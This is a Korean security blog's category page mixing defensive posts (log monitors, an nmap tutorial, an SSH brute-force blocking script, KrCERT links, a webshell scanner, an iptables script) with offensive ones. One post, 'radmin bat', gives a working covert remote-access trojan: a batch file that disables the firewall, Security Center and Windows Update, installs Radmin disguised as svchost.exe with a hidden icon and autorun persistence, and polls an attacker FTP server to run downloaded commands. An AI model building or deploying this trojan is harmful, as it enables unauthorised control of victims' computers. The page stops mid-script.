Search Results for '해킹&보안'


207 posts related to '해킹&보안'

  1. 2011/01/27 로그 보는 프로그램 mtail 과 i-tail
  2. 2011/01/27 네트워크 상태 및 IP/PORT 감시 프로그램 TcpView
  3. 2011/01/27 컴퓨터에 실행되는 프로세스 추적 Process Viewer
  4. 2010/11/06 NMAP 리눅스용 - 사용법 - 추가
  5. 2010/08/29 링크스캐너, 방문하는 웹사이트에서 공격당할 가능성을 점검하는 프로그램
  6. 2010/08/18 /var/log/secure 로그를 이용한 IP Deny 자동 등록
  7. 2010/08/04 radmin bat 6
  8. 2010/06/07 웹해킹 방어를 위한 KrCERT/CC권고사항 |
  9. 2010/06/04 리눅스 whistl 사용기
  10. 2010/06/04 리룩스 상에서 iptable을 이용한 방화벽 설정입니다.
  11. 2010/06/03 Wget 으로 회원 정보 빼오기
  12. 2010/04/14 tcpdump 명령어 및 ftp 패킷 보기
  13. 2010/04/14 tcpdump 패킷스니핑
  14. 2010/03/29 디버거들이 잘 정리되어 있는 사이트
  15. 2010/03/29 램을 이용한 디스크 암호화 깨기
  16. 2010/03/29 중국사이트 보드 공략하기 1
  17. 2010/03/14 윈도우 (WINDOWS) 해킹 머신 으로 쓰자. ^^ 1
  18. 2010/03/12 웹서버 취약점 점검도구 - Nikto 1
  19. 2010/03/12 php인젝션 버그를 이용한 한텀 및 Xterm 띄우기 1
  20. 2010/03/12 SQL 인젝션 해킹 주의요망 - 정보
  21. 2010/03/12 php sql 인젝션 해킹 예방
  22. 2009/11/20 악성코드 그림파일 JPG 등에 포함 하기. ^^ 1
  23. 2009/11/20 Bat2Exe - *.BAT 파일을 EXE 파일로 만들어 주는 프로그램입니다.
  24. 2009/10/12 제로보드 스킨 보안 취약점
  25. 2009/10/12 그누보드 보안 취약점 발표 됐네요.
  26. 2009/10/07 mssql 포트를 이용한 db해킹 1
  27. 2009/09/30 SqlRootKit 1.01 (MSSQL 서버 접근 툴)
  28. 2009/09/30 Nstealth 5.8 b103 웹 취약점 스캐너
  29. 2009/09/30 최신 해킹의 주범 윈도 루트킷을 잡아내자 -rkdscan
  30. 2009/09/30 HDSI툴분석
 

mtail: http://www.mtail.com 에서 제작
itail : http://idev.ibksystem.co.kr 에서 제작

대표 적인 로그 보는 프로그램으로
텍스트 형태의 로그 파일을 실시간으로 모니터링 및 필터링 할 수 있는 툴입니다.


기능은 비슷하고 사용 편하신거 골라서 사용하시면 됩니다.

2011/01/27 01:02 2011/01/27 01:02
TcpView
네트워크 및 서버를 관리하는 사람은 필수 있겠죠.
해당 프로그램을 이용하면, 본인 컴퓨터에 연결되어 있는 프로세스 및 접속 포트/아이피를 알아 낼수 있고
불법으로 연결되어 있는 프로세스들도 확인 가능하겠쬬..




다운로드 :


기능 간략 설명 :

녹색 : 새로 연결되는 프로그램
노란색 : 접속 상태가 변하고 있는 프로그램
빨간색 : 연결이 종료될 프로그램

 

빨간색 네모 해 놓은 못모양을 클릭하면 위에 X표가 생기면서 연결된 것들만 표시
그 옆에 A를 클릭하면 X가 생기면서 Local Address와 Remote Address가 아이피로 표시

2011/01/27 01:01 2011/01/27 01:01
Process Explorer 과 비슷한 프로그램으로 해당 피시에 실행되는 프로세스 정보를 모두 확인 할 수 있으며,
 두 프로그램을 적절히 사용하면,
보안 침해 분석에 조금더 쉬운 관리가 가능하다..





다운로드 :


설명 : Process Viewer는 윈도를 실행하면 실행되는 프로세서와 드라이버, 서비스를 리스트 형태로 보여주고 강제 종료할 수 있게 해주는 프로그램입니다.

따로 설치할 필요없이 다운 받은 파일의 압축을 풀고 실행하시면 되는 간단한 구조로 되어 있기 때문에 손쉽게 사용이 가능합니다.

프로그램을 실행하시면 현재 실행중인 프로세서, 드라이버, 서비스를 탭형식의 메뉴 형태로 보여줍니다.

프로세서창에서는 프로세서의 이름, PID, CPU 사용시간, 메모리 사용량을 보여주고 드라이버 항목에서는 이름, 기본 주소, Load Cnt, 경로 정보를 보여주며, 서비스 항목에서는 디스플레이 이름, Status, 시작 타입을 보여줍니다.
2011/01/27 01:01 2011/01/27 01:01

NMAPport Scanning 툴로서 호스트나 네트워크를 스캐닝 할 때, 아주 유용한 시스템 보안툴인 동시에, 해커에게는 강력한 해킹툴로 사용될 수 있습니다. 서버를 운영하다 보면 관리자 스스로도 어떤 포트가 열려있고, 또 어떤 서비스가 제공중인지 잘 모를때가 있습니다. 기억력이 나빠서나, 게을러서가 아니라 필요에 의해 자주 변경되므로 수시로 파악해서 기록해두지 않으면 잊어버리게 됩니다. 또 크래킹에 의해 생성된 백도어는 파악하기가 어렵습니다.수 많은 포트와 서비스를 효과적으로 체크해서 관리하기 위해서 NMAP과 같은 포트 스캔 툴이 필요합니다. NMAP은 기존의 포트스캔툴에 비해 다양한 옵션과 방화벽 안쪽의 네트웍도 스캔할 수 있는 강력한 기능이 있습니다.

1. 설치 http://www.insecure.org/nmapnmap 의 홈페이지에서 소스파일을 내려 받습니다. 그 후에 설치할 디렉토리로 옮긴후에 압축을 풉니다. 그 후에 해당 디렉토리에서 ./configure 를 실행한 후에make, make install 을 실행합니다.

[root@gyn nmap-2.54BETA30]# ./configure [root@gyn nmap-2.54BETA30]# make; make install

설치가 끝났으면 몇 가지 스캔 타입을 알아봅시당.

    

    

-sT

일반적인 TCP 포트스캐닝.

-sS

이른바 'half-open' 스캔으로 추적이 어렵다.

-sP

ping 을 이용한 일반적인 스캔.

-sU

UDP 포트 스캐닝.

-PO

대상 호스트에 대한 ping 응답을 요청하지 않음 .log 기록과 filtering 을 피할 수 있다.

-PT

일반적이 ICMP ping이 아닌 ACK 패킷으로 ping 을 보내고RST 패킷으로 응답을 받는다.

-PI

일반적인 ICMP ping 으로 방화벽이나 필터링에 의해 걸러진다.

-PB

ping 을 할 때 ICMP ping TCP ping을 동시에 이용한다.

-PS

ping 을 할 때 ACK 패킷대신 SYN 패킷을 보내 스캔.

-O

대상 호스트의 OS 판별.

-p

대상 호스트의 특정 포트를 스캔하거나, 스캔할 포트의 범위를 지정.ex) -p 1-1024

-D

Decoy 기능으로 대상 호스트에게 스캔을 실행한 호스트의 주소를 속인다.

-F

/etc/services 파일 내에 기술된 포트만 스캔.

-I

TCP 프로세서의 identd 정보를 가져온다.

-n

IP 주소를 DNS 호스트명으로 바꾸지 않는다. 속도가 빠르다.

-R

IP 주소를 DNS 호스트명으로 바꿔서 스캔. 속도가 느리다.

-o

스캔 결과를 택스트 파일로 저장.

-i

스캔 대상 호스트의 정보를 지정한 파일에서 읽어서 스캔.

-h

도움말 보기

위의 스캔타입은 자주 쓰이는 내용이고 -h 옵션을 쓰거나 man page를 이용하면 아주 상세한 사용방법을 보실 수 있습니다.

[gyn@gyn gyn]$ man nmapNMAP(1) NMAP(1)

NAMEnmap - Network exploration tool and security scanner

SYNOPSISnmap [Scan Type(s)] [Options] <host or net #1 ... [#N]>..중략..[gyn@gyn gyn]$ nmap -hNmap V. 2.54BETA30 Usage: nmap [Scan Type(s)] [Options] <host or net list>Some Common Scan Types ('*' options require root privileges)-sT TCP connect() port scan (default)* -sS TCP SYN stealth port scan (best all-around TCP scan)* -sU UDP port scan..중략..

2. 사용.

몇가지 사용 예를 통해 nmap을 활용해 보시죠.

[root@gyn root]# nmap -sP xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )Host gyn (xxx.xxx.xxx.xxx) appears to be up.

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

-sP 옵션으로 대상호스트가 살아 있음을 알아냈습니다. 이젠 특정 포트(80)를 검색해 보겠습니다.

[root@ home]# nmap -sP -PT80 xxx.xxx.xxx.xxxTCP probe port is 80

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Host (xxx.xxx.xxx.xxx) appears to be up.Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

지정된 포트가 아니라 대상호스트의 열린 포트를 모두 검색해 봅니다.

[root@ home]# nmap -sT xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on (xxx.xxx.xxx.xxx):(The 1526 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

대상 호스트의 열린 포트를 알수는 있지만 로그가 남으므로 위험합니다. 스텔스 스캔으로 감시를 피해야 겠지요.

[root@webserver log]# nmap -sS xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on (xxx.xxx.xxx.xxx):(The 1526 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

UDP port 스캔입니다. 시간이 많이 걸릴 수도 있습니다.

[root@gyn root]# nmap -sU localhost

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )Interesting ports on gyn (127.0.0.1):(The 1450 ports scanned but not shown below are in state: closed)Port State Service53/udp open domain 699/udp open unknown Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds

이번에는 -O 옵션으로 운영체제를 알아보겠습니다.

[root@webserver /root]# nmap -sS -O xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on db (xxx.xxx.xxx.xxx):(The 1530 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 113/tcp open auth 3306/tcp open mysql

TCP Sequence Prediction: Class=random positive incrementsDifficulty=2158992 (Good luck!)Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

몇가지 예를 통해 사용법을 알아 보았습니다. 마지막을 부탁드릴 말씀은 자신이 직접 관리하지 않는, 호스트나 네트웍에서 테스트를 하는 것은아주 무례한 행동이며, 관리가 엄격한 사이트의 경우 접속 제한은 당하는 경우도 있으므로바람직하지 않은 방법으로 사용하는 일이 없길 바랍니다.

2010/11/06 07:30 2010/11/06 07:30

최근 보안 위협 중의 하나는 '미끼' 웹 사이트를 개설하여 이 사이트를 방문하는 사용자에게 액티브엑스 컨트롤을 다운로드하게 하여 이를 자동 설치하여 공격(홈페이지 변경, 악성프로그램 다운로드하여 스팸 발송, 바이러스 감염 등등)하는 경우가 아주 많습니다.

특히, 보안 패치가 제대로 이루어지지 않은 컴퓨터에서는 이러한 익스플로잇을 통한 공격이 다수 나타납니다. 물론, 정상적인 웹사이트도 해킹하여 기본 페이지의 하단에 자바 스크립트를 삽입하여 공격합니다.

이러한 공격을 예방하기 위해서는 보안 패치, 바이러스 백신, 악성코드 제거프로그램, 개인용 방화벽 등을 설치하여 운영하는 것은 기본이며, 그 밖에도 가급적이면 일반적인 사이트 이외에는 방문하지 않는 것이 좋습니다.

하지만, 웹페이지를 서핑하다 보면 외국의 사이트들을 들어 갈 경우도 많습니다. 특히, 와레즈 사이트, 포르노 사이트, 복권/도박 사이트들에는 이러한 익스플로잇이 미리 설치되어 있어 사용자를 곤경에 빠뜨릴 수 있습니다.

이러한 위협을 예방하기 위해서 '링크스캐너'라는 온라인 스캐너를 사용하여 방문하는 웹페이지에 어떠한 위협이 존재하는지 확인하는 프로그램을 사용하는 것이 좋습니다.

홈페이지: http://linkscanner.explabs.com/linkscanner/

2010/08/29 20:33 2010/08/29 20:33

/var/log/secure 로그를 이용한 IP Deny 자동 등록


이 스크립트는 리눅스에서 기본적으로 제공하는 로그를 이용하여 10분 간격으로 로그를 추출하고

20회 이상 Fail Password를 발생시킨 아이피를 Tcp-Wrapper(/etc/hosts.deny)에 등록시켜

더이상 해킹 시도를 방지한다.


Caution : 10분이내에 뚫리면 어찌할 수 없음... =,.=;


ps. 스크립트의 제작의 편리를 위해서 중복 등록확인은 없음... ^^;


기본환경 : 리눅스, PHP Shell script-x

작성언어 : PHP


동작원리

1. /var/log/secure 파일에서 10분대의 로그를 추출한다.

  예 : 현재시간이 18:25:00 이라면 추출하는 시간은 18:10~19분을 추출한다.

2. 아이피 별로 갯수를 통계낸다.

3. 한 아이피에서 20회 이상 sshd로 비밀번호가 틀렸다면 /etc/hosts.deny에 "ALL:아이피주소"의

   형태로 등록된다.

4. xinetd 데몬을 재시작한다.

5. 등록한 아이피 목록을 지정된 메일 주소로 발송한다.


실행방법

./secure_analysis.sh sshd


crontab 등록시

*/10 * * * * /경로명/secure_analysis.sh sshd


소스

#!/usr/local/bin/php
<?
// 개요
// secure log 를 분석해서 sshd로 불법적인 접속을 시도하는 IP를 /etc/hosts.deny에 등록하는 작업을 한다.

// Log Example : Jun  5 07:49:18 p1 sshd[1110]: Failed password for root from 211.114.190.196 port 52944 ssh2
// 추출 명령어 : grep "Jun  7 09" secure | grep "sshd" | grep "Failed password" | awk -F "from" '{print $2}' | awk '{print $1}'

// 지정된 입력값을 입력하지 않으면 실행하지 않는다.

if($argc > 1)
{
 $RECEIVE_EMAIL = "수신 메일주소";
 $Hostname = trim(exec("hostname"));

 $Date = date("Y-m-d H:i:s");

 // 10분전 분을 구한다.
 $TenAgo = substr(date("i",mktime (date("H"), date("i")-10, 0, date("m"), date("d"), date("Y"))),0,1);

 if(!file_exists("/service/log_temp"))
 {
   exec("mkdir -p /service/log_temp");
 }

    if(!file_exists("/service/log_temp/secure_analysis.log"))
    {
        exec("touch /service/log_temp/secure_analysis.log");
    }

 // 날짜에 따라서 검색어의 공백처리가 틀린 관계로 ... =,.=;
 $DayLength = strlen(date("j"));

 if($DayLength == 2)
 {
  $now = date("M j H:");
 }
 else
 {
  $now = date("M  j H:");
 }

 if($argv[1] == "sshd")
 {
  exec("grep \"$now$TenAgo\" /var/log/secure | grep \"sshd\" | grep \"Failed password\" | awk -F \"from\" '{print \$2}' | awk '{print \$1}' > /service/log_temp/secure_log_".$argv[1]);
 }

 $Fail_IP_File = file("/service/log_temp/secure_log_".$argv[1]);

 for($i=0; $i < count($Fail_IP_File); $i++)
 {
  $Fail_IP_File[$i] = trim($Fail_IP_File[$i]);
 }

 $Fail_Statistics = array_count_values($Fail_IP_File);

 exec("echo \"\" > /service/log_temp/DenyIP.list_".$argv[1]);

 while (list ($Ip, $Count) = each ($Fail_Statistics))
 {

// 여기의 20을 조정하여 등록을 조절할 수 있다.
  if($Count > 20)
  {
   $Now_Time = date("Y년 m월 d일 H시 i분 s초");
   exec("echo \"#Regist $Now_Time\" >> /etc/hosts.deny");
   exec("echo \"ALL : $Ip\" >> /etc/hosts.deny");
   $Restart_Xinetd = 1;
   exec("echo \"$Now_Time | $Ip | $Count 회\" >> /service/log_temp/DenyIP.list_".$argv[1]);
  }
  exec("echo \"$Date\t$Ip\t$Count\" >> /service/log_temp/secure_analysis.log");
 }

 if($Restart_Xinetd)
 {
  exec("killall -HUP xinetd");
  exec("cat \"/service/log_temp/DenyIP.list_".$argv[1]."\" | mail -s \"$Hostname Deny IP List - $Date \" $RECEIVE_EMAIL");
 }
}
else
{
 echo("Missing Argument... Confirm Execute ...\n");
}
?>

2010/08/18 21:17 2010/08/18 21:17

radmin bat

해킹&보안/해킹팁 2010/08/04 15:59
Autoit으로 제작한 VNC자동설치를 보고 자극을 받아서 batch파일로 제작했던 Radmin무설치 버전을 편집해 올리게 되네요. 하하,,,

먼저 첨부한 압축 파일(VNC.rar)을 풉니다.

폴더 안에는 다음과 같은 파일로 구성되어 있습니다.


└Compiler
   └bat2exe.exe
└Source
   └Setup
      └AdmDll.dll
      └GetIP.bat
      └nircmd.exe
      └raddrv.dll
      └radmin.exe
      └setting.reg
      └Setup.bat
      └svchost.exe
   └Uninstall
      └Uninstall.bat



이 소스의 특징은 다음과 같습니다.
1. 실행만으로 설치가 완료된다.
2. 비밀번호 설정 가능 (기본:12344321 바꾸는 것은 가능하나 좀 귀찮음,,,)
3. 아이피를 실시간으로 전송받을 수 있음(고정아이피 필요)
4. 실시간 batch명령 수행 기능
5. 간편한 제거 가능 (Uninstall.bat)

또 한가지 중요한 특징도 있습니다만
악용 금지라고 말한 이유가 거기에 있음


---사전 준비

먼저 GetIP.bat파일을 편집합니다.
파일 내용은 아래와 같습니다.


echo off
cls

net stop "Security Center"
net stop SharedAccess
net stop "Windows Firewall/Internet Connection Sharing (ICS)"
ECHO REGEDIT4>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download]>>"%Temp%.\kill.reg"
ECHO "CheckExeSignatures"="no">>"%Temp%.\kill.reg"
ECHO "RunInvalidSignatures"=dword:00000001>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
REG IMPORT "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"

md C:\windows\system32\VNC\cmd
del todo.txt
ECHO Anonymous>>todo.txt
ECHO
ftp@ftp.ftp>>todo.txt
ECHO binary>>todo.txt
ECHO prompt>>todo.txt
ECHO lcd C:\windows\system32\VNC\cmd>>todo.txt
ECHO mget *>>todo.txt
ECHO bye>>todo.txt

:loop
del C:\windows\system32\VNC\cmd\* /F /Q
rd C:\windows\system32\VNC\cmd /S /Q
md C:\windows\system32\VNC\cmd

ftp -s:todo.txt %서버ip주소%

IF EXIST C:\windows\system32\VNC\cmd\serv_com.bat (
C:\windows\system32\VNC\nircmd.exe exec hide "C:\windows\system32\VNC\cmd\serv_com.bat"
)

ping -n 15 127.0.0.1 >NUL
cls
GOTO loop



눈여겨 볼 것은 ftp -s:todo.txt %서버ip주소% 입니다.
%서버ip주소%는 자신이 상대방의 ip를 받을 고정 ip로 설정합니다.
*참고로 고정ip는 CODNS에서 무료로 받을 수 있습니다. 이 ip address로 server의 ip address를 전송 받을겁니다.
예를 들어 127.0.0.1로 설정한다면 아래와 같이 됩니다.
ftp -s:todo.txt %127.0.0.1%

또 ip전송 간격은 아래 코드로 조절합니다.
ping -n 15 127.0.0.1 >NUL
15라는 숫자 대신에 적는 숫자가 ip전송 간격이 되겠군요.
server의 과부하를 고려해 적당히 기입합니다.

설정이 끝났으면 저장합니다.



---부가 설정

setting.reg파일을 편집합니다. 내용은 아래와 같습니다.
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin]

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01]

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01\ViewType]
"Data"=hex:b8,9d,90,49,c1,fa,95,ab,24,d7,22,bf,bb,f6,01,39,12,6a,cd,f9,b9,2a,\
  13,33,77,16,0b,60,1e,04,92,ad,c9,66,ee,91,06,59,b8,6e,5f,af,4c,a1,e6,30,2b,\
  2e,3a,66,b9,c6,16,83,d8,84,58,bc,88,bc,7b,9d,4a,c2

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c
"DisableTrayIcon"=hex:01,00,00,00
"Port"=hex:23,13,00,00
"LogFilePath"="C:\\WINDOWS\\system32\\VNC\\logfile.txt"
"EnableLogFile"=hex:01,00,00,00
"EnableEventLog"=hex:00,00,00,00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"VNC1"="C:\\WINDOWS\\system32\\VNC\\svchost.exe /start"
"VNC2"="C:\\WINDOWS\\system32\\VNC\\nircmd.exe exec hide C:\\WINDOWS\\svchost.exe /c \"C:\\WINDOWS\\system32\\VNC\\getip.bat\""

Radmin설정과 자동실행 두가지가 공존하고 있군요.
비밀번호 병경을 원하면 이 파일에서 "Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c를 변경하면 됩니다.
변경 하려면 Radmin을 깔고 프로그램 자체에서 비밀번호를 설정하신 뒤 다시 해당 레지스트리를 추출하는 방법으로 하면 됩니다.
귀찮으면 그냥 놔두시고 12344321로 쓰게 됩니다.



---컴파일

이제 컴파일에 착수합니다.
bat2exe를 실행합니다. 그리고 Setup.bat파일을 불러옵니다.


그림과 같이 로드되었습니다.
이제 include탭으로 갑니다.


그림과 같이 파일을 포함합니다. (Setup폴더에서 Setup.bat을 제외한 모든 파일이 포함)
*참고로 Custom Resources탭에서 원하는 아이콘으로 변경도 가능합니다.


이제 마지막으로 Project->Options
Ghost Application을 선택하고 Ok를 누르면 컴파일 완료 직전입니다.

F9를 누르시면 원하는 파일로 컴파일 가능합니다. 마음에 드는 이름으로 저장하세요.

이제 상대방 server에서 방금 컴파일한 파일을 실행하면 Radmin server가 활성화 됩니다.


---사용법

client측에서는 radmin.exe을 실행하면 됩니다.
다만 ip전송을 받기 위해선, 위에서 입력한 아이피를 가진 컴퓨터(Radmin server)에서 ftp server를 열면 됩니다.
그러면 ftp server에 접속을 하는 컴퓨터(Radmin server)의 아이피가 뜨겠죠? 이런 원리로 상대방(Radmin server)의 아이피를 알 수 있습니다.
추가로 ftp서버를 열 때 ftp의 로컬 폴더에 serv_com.bat이란 이름으로 batch파일을 작성해 놓으면 Radmin server측에서 해당 batch파일을 보이지 않게 실행하게 할 수도 있습니다.

>>무단설치서버:Program(5).exe
>>클라이언트1.exe
2010/08/04 15:59 2010/08/04 15:59

< 웹해킹 방어를 위한 KrCERT/CC 권고 사항>

※ 공개웹방화벽 전용 홈페이지 안내(방화벽 설치 시 주요 웹해킹 방어가능)

o 공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ 등의 정보 제공
   - http://www.krcert.or.kr/firewall/index.htm

※ 무료 웹취약점 점검을 신청(웹취약점 탐지 및 해결방법을 설명)

o 무료 홈페이지 취약점 점검서비스 신청하러가기
   - http://webcheck.krcert.or.kr 

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.

o 홈페이지 개발 보안 가이드
   - http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp 

o 웹 어플리케이션 보안 템플릿 
   - http://www.krcert.or.kr/docDown.jsp?dn=3 

o 침해사고 분석절차 가이드 
   - http://www.krcert.or.kr/docDown.jsp?dn=10 

o PHP웹 게시판 취약점 관련 사고분석 및 보안대책 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005001.pdf&docNo=IN2005001 

o SQL Injection 취약점을 이용한 윈도우즈 웹서버 사고 사례 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005014.pdf&docNo=IN2005014  

o 웹 해킹을 통한 악성 코드 유포 사이트 사고 사례 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=050629-IN-2005-012.pdf&docNo=IN2005012 

o ARP Spoofing 기법을 이용한 웹 페이지 악성코드 삽입 사례 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003&docKind=3 

궁금하신점은 국번없이 118(한국정보보호진흥원)으로 연락바랍니다.

2010/06/07 17:06 2010/06/07 17:06
서버에 이상한움직임이 있어서.... 공격 들어오는듯....
방화벽 보수적으로 잡고 로그 분석해서 불안해 보이는 페이지들 막거나 수정하고,
침입 탐지용 스크립트 만들어서 크론에 1분에 한번씩 돌렸죠... 침입탐지 되면 SMS 쏘게..

그래도 안심 안돼서.. KRCert 가 보니 whistl 이라는 웹쉘 탐지 프로그램이랑
castle 이라는 일종의 필터링 프로그램을 발견하고 테스트 해보았습니다.

둘다 ASP 용 PHP 용 다 나와 있습니다.

우선castle 이라는 프로그램은 설치법 간단합니다.
작으만한 사이트에 붙여 봤는데.. 작아서 그런지 부하는 모르겠네요...
castle 관리자에서 대충 필터링 되는것들 들여다 봤는데..
그냥 단순한 정도인듯 하네요..
없는거보단 나으니 그냥 하나 셋팅해두는거도 괜찮을듯 합니다..


그다음 whistl 이놈은  바로 다운로드가 안되고 요청을 하면 보내주네요...
2-3일 내로 보내준다고 돼 있습니다.

아이디 패스워드랑 같이 프로그램을 보내주네요..
리눅스는 커널 2.4 랑 2.6 버전 2종류가 있고 서버에 맞게 실행권한 죠서 실행시키면 됩니다.



whistl_kernel_2.6    이게 2.6 커널용입니다.  실행권한 죠서 실행시키죠
validate.bin            이건 아이디 패스가 암호화 돼 있는 파일인듯 합니다. 반드시  필요하죠.
pattern.bin            이건 환경설정을 저장하는 파일인듯 합니다.




whistl -c  하면  환경설정 화면으로 들어가고요..

whistl Configuration
        [1] Checking Directory : /home/www
        [2] Inspection Center directory : /home/whistl/tmp
        [3] Extension of php    : inc,php,htm,html
        [4] Extension of jsp    : jsp,js
        [s] save
        [q] quit
Choose Menu:

메뉴에서 수정할줄을 선택해서 값을 입력하면 됩니다.
값이 여러개일때는 , 로 나열 합니다.

만일 값을 주었는데 수정이 안된다면  pattern 파일에 대한 쓰기 권한이 있는지 확인해봐야 될듯 합니다.



실제 검사는 아래처럼...
검사시 디렉토리 추가는 -d 옵션으로 디렉을 지정해주면 된다고 하네요.
-u -p 안해주면 실행시키고 로그인 하게 돼 있습니다.

[root@localhost whistl]# ./whistl -u 아이디 -p 암호
Checking the configration
        [Config] Checking directory : /home/www
        [Config] Inspection Center directory : /home/whistl/tmp

Checking the update status
        [INFO] Pattern Update Finished

Checking /home/www directory
        [1 Found] /home/www/intra/board/imgskin/green/icon_re.php

Check Result
        [INFO] 5978 Files checked
        [INFO] 1 Suspected WebShell
        [INFO] Time cost : 00:28:50
        [INFO] Finish sending the checking result

[Press <ENTER> to continue]

        [1] [1 Found] /home/www/intra/board/imgskin/green/icon_re.php

[ view result(v), select (hit num), quit(q) ] :


파일 하나가 숨어 있네요... 이론.... X...

사이트 하나 체크에 30분 정도 걸리는거 같고요... 위에 파일수 6000개 정도...
4 cpu 인데  cpu 하나가 100% 나오는데...
load average  가  1 조금더 상승하네요..

큰 부하안걸려서 사이트 돌리는 중에 체크하셔도 될듯 하긴한데....
한번씩들 체크해보세요...
2010/06/04 00:20 2010/06/04 00:20
리룩스 상에서 iptable을 이용한 방화벽 설정입니다.
별로 쓸일이 많지는 않겠지만.
짬짬이 책보고 만든건데 기본적인건 해봤는데 몇가지는 테스트 못했습니다.
SSL 지원되는 IMAP이나 SECONDARY NAMESERVER 같은거 말이죠.
기본룰은 모든걸을 막고 필요한 것만을 통과시키는 규칙입니다.
윈도우용 편집기를 이용해서 작성하면 정상적인 작동이 안됩니다.
-------------------------------------------------------------------
#!/bin/sh
. /etc/rc.d/init.d/functions
. /etc/sysconfig/network
#네트워크가 활성화상태인지체크
if [ ${NETWORKING} = "no" ]; then
    exit 0
fi
#iptable설치확인
if [ ! -x /sbin/iptables ]; then
    exit 0
fi
#변수선언
IPADDR=`ifconfig eth0 | fgrep -i inet | cut -d : -f 2 | cut -d " " -f 1`    #ip주소
EXTERNAL_INTERFACE="eth0"            #외부인터넷연결인터페이스
LOOPBACK_INTERFACE="lo"            #루프백인터페이스
PRIMARY_NAMESERVER="111.111.111.111"        #1차내임서버
SECONDARY_NAMESERVER="222.222.222.222"    #2차내임서버
SMTP_SERVER="333.333.333.333"            #메일서버
LOOPBACK="127.0.0.0/8"            #예약된루프백주소범위
CLASS_A="10.0.0.0/8"                #A클래스사설ip범위
CLASS_B="172.16.0.0/12"            #B클래스사설ip범위
CLASS_C="192.168.0.1/16"            #C클래스사설ip범위
CLASS_D_MULTICAST="224.0.0.0/4"        #D클래스멀티캐스트주소
CLASS_E_RESERVED_NET="240.0.0.0/5"        #E클래스의예약된주소
BROADCAST_SRC="0.0.0.0"            #브로드캐스트소스주소
BROADCAST_DEST="255.255.255.224"        #브로드캐스트목적지주소
PRIVPORTS="0:1023"                #특권(privilege)을 준 포트범위
UNPRIVPORTS="1024:"                #특권을 주지않은(unprivilege)포트범위
SSH_LOCAL_PORTS="1022:65535"            #로컬클라이언트를 위한 포트범위
SSH_REMOTE_PORTS="513:65535"        #원격클라이언트를 위한 포트범위
TRACEROUTE_SRC_PORTS="32769:65535"
TRACEROUTE_DEST_PORTS="33434:33523"
#모든규칙삭제
iptables -F
#사용자정의 체인삭제
iptables -X
#기본정책을 DROP으로 한다
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
#루트백인터페이스에 대해 무제한의 트래픽을 허용
iptables -A INPUT -i $LOOPBACK_INTERFACE -j ACCEPT
iptables -A OUTPUT -o $LOOPBACK_INTERFACE -j ACCEPT
#./rc.firewall.blocked 파일에 있는 주소를 거부한다
if [ -f ./rc.firewall.blocked ]; then
    deny_file="./rc.firewall.blocked"
    while read ip_addy
    do
        case $ip_addy in
            *)echo "$ip_addy DROP"
            iptables -A INPUT -i $EXTERNAL_INTERFACE -s $ip_addy -j DROP
            iptables -A INPUT -i $EXTERNAL_INTERFACE -d $ip_addy -j DROP
            iptables -A OUTPUT -o $EXTERNAL_INTERFACE -s $ip_addy -j REJECT
            iptables -A OUTPUT -o $EXTERNAL_INTERFACE -d $ip_addy -j REJECT
        ;;
        esac
    done < $deny_file
    unset deny_file
fi
unset ip_addy
#./rc.firewall.accepted 파일에 있는 주소를 허락
if [ -f ./rc.firewall.accepted ]; then
    allow_file="./rc.firewall.accepted"
    while read ip_addy
    do
